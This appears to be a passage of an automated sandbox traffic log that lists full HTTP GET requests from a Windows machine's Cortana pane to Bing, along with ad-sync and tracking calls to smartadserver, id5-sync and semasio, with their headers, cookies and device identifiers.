Source: global traffic	HTTP traffic detected: GET /rp/CiZ1BdLj2SyTc1IYleGu_YKvrKg.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /rp/GYWzw6Wnh2goOCGJn_s6AhjfSck.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /search?q=twitch&form=WMSRPA&ao=1&qs=MB&cvid=0e60eec8f25c487eaf36674a7ea70fdf&pq=t&cc=CH&setlang=en-CH&wsso=Moderate&qfig=33feb56acf614c4386101a1b8fe4f709&darkschemeovr=1 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 RestrictedAPIX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1718442953X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 416x0X-BM-DeviceDimensionsLogical: 416x0X-BM-DeviceScale: 100X-BM-DTZ: -240X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Device-ClientSession: 2218EDEDA4B247A3AD027DDD31012046X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: StrictX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brHost: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /th?id=OSK.cf1c715d28e1acb903c0a50b7ebc99fd&w=80&h=80&qlt=90&c=6&rs=1&cdv=1&pid=RS HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=tem&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=3&cvid=0e60eec8f25c487eaf36674a7ea70fdf&ig=d96c67aae53e41fb94b45011f38a11fe HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1718442953X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x640X-BM-DeviceDimensionsLogical: 784x640X-BM-DeviceScale: 100X-BM-DTZ: -240X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Device-ClientSession: 2218EDEDA4B247A3AD027DDD31012046X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /PPRelatedSearch?query=AAA_SettingsPageStorageSenseStorageOverview-3&lang=en-CH HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1718442953X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x640X-BM-DeviceDimensionsLogical: 784x640X-BM-DeviceScale: 100X-BM-DTZ: -240X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Device-ClientSession: 2218EDEDA4B247A3AD027DDD31012046X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=temp&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=4&cvid=0e60eec8f25c487eaf36674a7ea70fdf&ig=c4c2184cdf8242eca4a28701ba990323 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1718442953X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x640X-BM-DeviceDimensionsLogical: 784x640X-BM-DeviceScale: 100X-BM-DTZ: -240X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Device-ClientSession: 2218EDEDA4B247A3AD027DDD31012046X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rp/HK1kBTlTrNhZ2EHsHc_tI5AnNnQ.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /genericpost HTTP/1.1Host: ww1097.smartadserver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pid=7344472575877188506; TestIfCookieP=ok; csync=111:ID5-9436e49rFW4Sv3laxZZf1y8h5M2GqW4XpxTTXlEEAw; sasd2=q=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6&c=1&l&lo&lt=638540397164729742&o=1; sasd=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6; vs=471364=6024076; csfq=1; lcsrd=2024-06-15T09:20:04.5402016Z; rpools=111
Source: global traffic	HTTP traffic detected: GET /PPRelatedSearch?query=AAA_SettingsPageStorageSenseStorageOverview-3&lang=en-CH HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1718442953X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x640X-BM-DeviceDimensionsLogical: 784x640X-BM-DeviceScale: 100X-BM-DTZ: -240X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Device-ClientSession: 2218EDEDA4B247A3AD027DDD31012046X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rp/Hf0OW-7cZhzJfNbVB6epX0p5ugo.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /rp/IM-zNHz7JnGtHEaYueD4XiNVKjI.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/J7cQ5Ah62UHbuOtBjrsnRX5zCr4.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /i/102/9.gif?gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://csync.smartadserver.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#4; 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b\|104#1718442921321#42930013#17287f0b-6066-405e-9adb-2134fa1669ab\|10#1718442924824#656917855#3883899461399649905\|155#1718442917539#959485646#AAFGGU7M2rcAABWAYHUUFw\|123#1718442928327#2134079627
Source: global traffic	HTTP traffic detected: GET /rp/LovpZtoRTP3NLwiyWdl2KVYnYJw.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /rp/NNCpoUHi9HJfjgB97pe7N-10RDg.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /id5/1/get?gdpr=0&gdpr_consent=&_url=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F112%2F8%2F2.gif%3Fpuid%3D%24%7BUIPID%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://csync.smartadserver.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=BE92746BAA5C8E8A
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?2a0673ef10a3cae15a87489391a15d39 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: arc-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /id5/1/get?gdpr=0&gdpr_consent=&_url=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F112%2F8%2F2.gif%3Fpuid%3D%24%7BUIPID%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://csync.smartadserver.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=BE92746BAA5C8E8A
